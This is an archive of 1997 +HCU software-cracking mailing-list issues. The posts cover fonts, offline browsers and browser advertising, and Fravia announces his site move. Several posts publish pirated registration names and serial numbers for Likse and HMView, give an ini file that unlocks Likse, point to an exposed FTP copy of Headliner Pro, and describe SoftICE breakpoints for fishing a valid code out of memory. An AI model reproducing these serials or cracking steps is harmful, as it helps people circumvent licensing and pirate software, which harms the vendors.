- Greythorne The Technomancer
-
- WebSite: *******************************
- (AKA:) ************************************
- (IP:) ****************************
- Gateway: *************************************
- Old Mirror: ******************************
- FTP1: ******************************************
- FTP2: *******************************************
-
- \*****************************************************/
-
-
- -----#2-------------------------------------------------
- Subject: Attn AZ111
-
- Regarding truetype fonts
- ------------------------
-
-
- Documentation of the .ttf format can be obtained from
- ********************************************************
-
- For all file format questions, I have found Wotsits File Format at
- ******************************
- to be an excellent resource.
-
- Regarding the CreateFont functions...
- CreateFont defines a "logical font structure" on-the-fly, while
- CreateFontIndirect relies on a pre-maed font structure (i.e., a
- resource).
- GetFontData obtains Font Data (presumably a "logical font structure",
- though one can never be sure with M$oft) from an existing .ttf font.
-
- The Enum functions obtain data about a font (per the .ttf file format,
- presumably a "logical font structure", again) and pass it to a function.
-
- Further information can be obtained from the win32 API ref--if you do
- not have it, get a real compiler ;) or go to
- ****************************************************************
-
- and choose link #3.
-
- Note that appilcations use a variety of ways to obtain fonts, including
- GetStockObject()--commonly used in everything but word processors (has
- courier, system, and Times New Roman avail).
-
- _m
-
- ______________________________________________________
- Get Your Private, Free Email at **********************
-
- -----#3-------------------------------------------------
- Subject: An alternative to Likse
-
- Hello +Zer0,
-
- > I worked on the Likse which I have downloaded from the
- > ************* Likse download page. The link was called
- > server2 and pointed to
- > ******************************************************
-
- The offline browser I found (the one I liked best) is called 'HMView
- 1.0' - I can't remember where I found it bu if you search you'll
- probably find it easily enough. I made a serial number for it:
-
- Name: User
- Company: None
- Code: NBPFQSLIQQWO
-
- Cya,
- +ReZiDeNt
-
- -----#4-------------------------------------------------
- Subject: Likse
-
- Likse about
- i've tried the previous submited nfo on reg about this app
- was:
- ********************
- NAME:CKL!1997
- SN:2909679-2590 SINGLE LIC
- SN:2909679-159 SITE LIC
- SN:2909679-4694 ROYALTY FREE
- SN:2909679-4210 LICENSE
-
- the LICENSE worked fine,but if work'nt for you,it's a system dependant
- tool,anyway after the valid reg (without any patch) the
- lkacess.ini:
- [APPINFO]
- REGNAME=CKL!1997
- REGID=2909679-4210
-
- [Advance]
- All_Enabled=1
-
- I've no time to look further where the possible check of machine license
- is but the :name:CKL!1997 / SN=:2909679-4210 LICENSE
- worked fine on the gived links of previous issue.
-
- -----#5-------------------------------------------------
- Subject: stupidest protection of all times
-
- now hear this.....
-
-
-
- there is an excellent program called HEADLINER, which retrieves the
-
- headlines of ANY newspaper/magazine webpage you specify and shows it on
-
- your screen as a ticker of any size, even a small one in the title bar
-
- of the active windows.
-
-
-
- the free version is at ******************************************
-
-
-
- the only limitation is that you can only get the news from the webpages
-
- they set in memory.
-
-
-
- However, they left on that ftp the PRO version completely unlocked!
-
- (and some other proggies which I am d/loading right now to see what they
-
- are) - in the pro version, you can specify virtually ANY web page and
- get it's 'headlines' (including Fravia's...)
-
-
-
- So, if you want to grab your free version of headliner pro, just FTP
-
- to ***************************** - but there's a twitch: you can't get
-
- the list of the files in the directory by using a normal ftp client,
- only w/ Netscape or with a unix shell.
-
-
-
- Isn't that awfully stupid?
-
-
-
- Anyway, the program is excellent - no ADS (like Pointcast and other
-
- newstickers), does not create a ticker reducing your desktop space, but
-
- uses the TITLE BAR of your open windows (there is a ticker and
-
- screensaver option, if you really want them).
-
-
-
- So have fun.....
-
-
-
- WAFNA of FCA
-
- =====End of Issue 68====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 69 11/25/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: IRC wars, sad lack of respect for the importance of tutorials :-
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: IRC wars, sad lack of respect for the importance of tutorials :-
-
- Hi +gthorne,
-
- > I feel it is a shame that someone I had once respected has to resort
- > to childish bully tactics to enforce an opinion, rather than have
- > healthy opinion diffences like we all do from time to time.
-
- I agree with you 100%!!!! Actually, I avoid IRC for this reason (I
- find it often degenerates into 'war') - but without cracking tutorials
- most of us would have no way of learning about this subject!
-
- Keep up the good work!
- +ReZiDeNt
-
- =====End of Issue 69====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 70 11/26/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: Re: Likse again
-
- #2 Subject: Newer but still simple.
-
- #3 Subject: (not quite cracking)
-
- #4 Subject: New main site
-
- #5 Subject: Newer but still simple
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: Re: Likse again
-
- Hi!
-
- >the LICENSE worked fine,but if work'nt for you,it's a system dependant
- >tool,anyway after the valid reg (without any patch) the
- >lkacess.ini:
- >[APPINFO]
- >REGNAME=CKL!1997
- >REGID=2909679-4210
- >
- >[Advance]
- >All_Enabled=1
-
- Yes it does these things for me too, but the 50 line limit
- of text exporting and the limit of displaying only 5 hits
- in the search remains.
-
- >I've no time to look further where the possible check of machine license
- >is but the :name:CKL!1997 / SN=:2909679-4210 LICENSE
- >worked fine on the gived links of previous issue.
-
- When did you downloaded your program from that web site?
- Or if its not a problem for you, you can send your
- version as an email attachment to the **********************
- I can check it out. If you dont want to do that
- (having a slow modem etc.) than just let's drop the whole issue
- this program is overcracked anyway :)
-
- bye Zer0+
-
-
-
- -----#2-------------------------------------------------
- Subject: Newer but still simple.
-
- Hail +ReZideNt:
-
- Checked for HMView. Found one at **************** by Bersoft called
- HMView v1.52 zipped sized 537,900 bytes. Must be an update since it
- used the same 12 digit size regcode.
-
- Name: User
- Company: <-- Leave Company Info Blank
- Code: OAPLLXTOPQWO
-
- If you use Softice, BPX on Hmemcpy and F12 back to program code area
- xxxx:00455686, then if you D on xxxx:00D42800 you will see the user
- name, bogus number and the echo. One of those self cracking program
- but good in that in installs under 500K with very few files. It writes
- the registration to an ini file so you can erase and reinstall if you
- need the practice. Like the simplicity. Thanks.
-
- wlc
-
- -----#3-------------------------------------------------
- Subject: (not quite cracking)
-
- The next stage of the browser wars...
-
-
- Manufacturers such as Compaq, Acer, and HP are going to be providing
- their "own" browsers with PCs; these browsers will be the default
- browser (though MSIE and/or Netscape may be bundled with the computr as
- well) and will deliver for your viewing pleasure a banner ad at the
- bottom of the browser that will change every thirty seconds (hmm, just
- like TV commercials). Supposedly the ad will be "always on top", and
- cannot be turned off by the user.
-
- Micro$oft has no problem with this as the browsers will be based on
- Explorer and Active X (kind of like "Brand X") technology...essentially
- allowing M$oft to entrench its internet technology as a standard at the
- small price of brand recognition: in these new browsers the MS or IE
- logo will not be apparent.
-
- I'm sure none of you buy pre-made computers such as Dells or (horror!)
- Compaq, but keep an eye out for the "evolution" of browsers towards
- becoming the foundation for the next-generation television--we may be
- cracking ads as well as protection schemes in a few years...
-
- _m
-
- PS full story at
- **********************************************************************
- --source is Advertising Age, a newspaper I highly recommend for finding
- out what they plan to do to you before they do it...be sure to cut your
- doses heavily with material from ****************** or you may become
- one of them.... ;)
-
- ______________________________________________________
- Get Your Private, Free Email at **********************
-
- -----#4-------------------------------------------------
- Subject: New main site
-
- I had to move, the situation was getting unbearable
- every broken link and every server breakdown was
- landing everybody on a smut search engine.
-
- Ironical fate for my very own main page :-)
-
- You may want to update your links.
- Old main page will be frozen from now on
- Here is the snippet I have prepared for usenet,
- some of my visitors will surely publish it in the next days.
-
- <prE>---------------------------------------------------
- Fravia's page of reverse engineering has moved from
- <a
- ***************************************************************************
- ravia.htm</A> (now frozen)
- to
- <a ********************************************** (now working)
-
- New in the essays section:
- Cracking for dummies - IDA pro cracking
- Corel/Elan protection cracking
- Object Oriented Cracking
- Visual Basic reversing
- New in the "Websites busting" section:
- general.htm
-
- Please update your links
- ---------------------------------------------------</prE>
-
- New main page should work fine as soon as some feedback
- shows me the broken links. You may help as well if you feel like it.
- I tell you what I will do:
- RETALIATE!
- Read ideale.htm and exspecially general.htm and be prepared for some
- fireworks!
- I'll work on this stuff for the next couple of months.
- There is a lot to learn.
- There are many enemy to destroy, not only smutters.
-
- A very crossed fravia+
-
- -----#5-------------------------------------------------
- Subject: Newer but still simple
-
- Hail +ReZideNt:
-
- Checked for HMView. Found one at **************** by Bersoft called
- HMView v1.52 zipped sized 537,900 bytes. Must be an update since it
- used the same 12 digit size regcode. Seem to use a similar dll library
- as to Liske 32 and wipes out data area after checking. Had to close
- down program and restart to enter info properly.
-
- Name: User
- Company: <-- Leave Company Info Blank
- Code: OAPLLXTOPQWO
-
- If you use Softice, BPX on Hmemcpy and F12 back to program code area
- xxxx:00455686, then if you D on xxxx:00D42800 you will see the user
- name, bogus number and the echo. One of those self cracking program
- but good in that in installs with very few files. It writes the
- registration to an ini file so you can erase and reinstall if you
- need the practice. I like the simplicity. Will compare it with with
- Liske. Thanks.
-
- wlc
-
- =====End of Issue 70====================================
-